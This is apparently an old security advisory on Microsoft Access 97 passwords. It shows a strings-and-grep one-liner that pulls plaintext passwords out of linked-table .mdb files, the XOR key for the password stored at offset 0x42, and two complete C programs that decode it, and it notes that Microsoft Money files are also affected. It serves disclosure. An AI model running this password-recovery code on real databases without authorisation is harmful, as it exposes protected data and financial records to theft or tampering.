COMMAND

    MS Access97

SYSTEMS AFFECTED

    Systems running MS Access 97

PROBLEM

    Donald  Moore  (MindRape)  found  following.   Microsoft Access 97
    databases protected with  a password are  stored in foreign  mdb's
    table attachements as plaintext.  This can be accessed very easily
    by  issuing  a  strings  and  grep  operation  on the foreign mdb.
    Example:

	% strings db1.mdb | grep -i "pwd"

	MS Access;PWD=plaintext;Table2pppppppjI'%
	MS Access;PWD=plaintext;Table1qqqqqqqkJ(&

    Having the password allows the secured mdb to be unlocked,  giving
    permission  to  view  database  objects, possibily revealing other
    database connection strings, propiertary source code, tampering of
    data.  One such commercial  database marketed by FMS, Inc.,  Total
    VB SourceBook 6.0, can be easily compromised using this method.
    How to recreate?

	1. Create an mdb
	2. Create a Table
	3. Reopen the new mdb in exclusive mode
	4. From  the Tools  Menu, select  Security and  then click Set
	   Database Password
	5. Set database password
	6. Exit Access
	7. Create another mdb
	8. From  the File  Menu, select  Get External  Data, and click
	   Link Tables....  Select the passworded mdb and then  select
	   the table you created.
	9. Exit Access
       10. Perform  a  strings+grep  on  the  2nd  mdb  to reveal  the
	   password.

    Furthermore, take a  look at following  (by Adam Shostack  and Jim
    Paris).  Access97 passwords are stored in the 13 bytes from offset
    0x42 in a .mdb file (Access  97 actually allows a user to  enter a
    14 char password, although only the first 13 chars are stored  and
    verified).  Do  a bitwise XOR  with 0x86, 0xFB,  0xEC, 0x37, 0x5D,
    0x44, 0x9C, 0xFA,  0xC6, 0x5E, 0x28,  0xE6, 0x13, 0xD8  to recover
    the  plaintext  (if  the  first  byte  is 0x86 the password is not
    checked!?).  Here's a quick program to test this lack of security:

    #include <stdio.h>
    #include <stdlib.h>

    int main(int argc, char *argv[])
    {
	    FILE *mdb; int i; char ch;
	    int secret[14]={
		    0x86,0xFB,0xEC,0x37,
		    0x5D,0x44,0x9C,0xFA,
		    0xC6,0x5E,0x28,0xE6,
		    0x13,0xD8
	    };

	    if(argc<2) {
		    fprintf(stderr,"usage: %s filename.mdb\n",argv[0]);
		    return 1;
	    }

	    if((mdb=fopen(argv[1],"rb"))==NULL) {
		    fprintf(stderr,"%s: can't open %s\n",argv[0],argv[1]);
		    return 1;
	    }

	    fseek(mdb,0x42,SEEK_SET);

	    printf("The password is: ");
	    for(i=0;i<14;i++)
	    {
		    if((ch=fgetc(mdb)^secret[i])==0) break;
		    putchar(ch);
	    }
	    if(i==0) printf("(none)");
	    putchar('\n');

	    fclose(mdb);
	    return 0;
    }

    Nate Lawson took the XOR  sequence Adam posted and put  together a
    little code around it.   It should compile on most  Unix platforms
    as well as Windows.

    /*
     * "Decrypt" Microsoft Access 97 Database Passwords
     *
     * Nate Lawson <nate@root.org>
     * 2/9/99
     *
     * XOR sequence taken from a post by Adam Shosthack <adam@homeport.org>
     * Access 97 actually allows a user to enter a 14 char password, although
     * only the first 13 chars are stored and verified.
     */

    #ifdef WIN32
    #include <windows.h>
    #endif
    #include <stdio.h>

    main (int ac, char *av[])
    {
	FILE *fp;
	int i;
	unsigned char passBuf[14], xorString[] = { 0x86, 0xFB, 0xEC, 0x37,
	    0x5D, 0x44, 0x9C, 0xFA, 0xC6, 0x5E, 0x28, 0xE6, 0x13 };

	if (ac != 2) {
	    fprintf(stderr, "Usage: %s filename.mdb\n", av[0]);
	    exit(1);
	}

	/* Open file, read password into buffer */
	if ((fp = fopen(av[1], "rb")) == NULL) {
	    fprintf(stderr, "Unable to open %s\n", av[1]);
	    exit(1);
	}
	if ((fseek(fp, 0x42, SEEK_SET)) < 0) {
	    fprintf(stderr, "Unable to seek.  File truncated?\n");
	    exit(1);
	}
	if ((fread(passBuf, sizeof(passBuf) - 1, 1, fp)) < 0) {
	    fprintf(stderr, "Cannot read file: %s\n", av[1]);
	    exit(1);
	}

	/* Unmask password and print out results */
	for (i = 0; i < sizeof(passBuf) - 1; i++)
	    passBuf[i] ^= xorString[i];
	passBuf[sizeof(passBuf) - 1] = '\0';

	printf("Password is:\n   %s (ascii)\n   ", passBuf);
	for (i = 0; i < sizeof(passBuf) - 1; i++)
	    printf("0x%x ", passBuf[i]);
	printf("(hex)\n");

	exit(0);
    }

    This also affect Microsoft Money.. as it stores it's details in  a
    Access  MDB  format.   You  can  use  the  all-access program from
    before to find out your Money password.

SOLUTION

    Nothing yet.  Seems like this works with all known SRs.   Changing
    permission won't get you anywhere since all attacker needs is read
    permission and if you remove  it as that would effectively  render
    the linked table useless.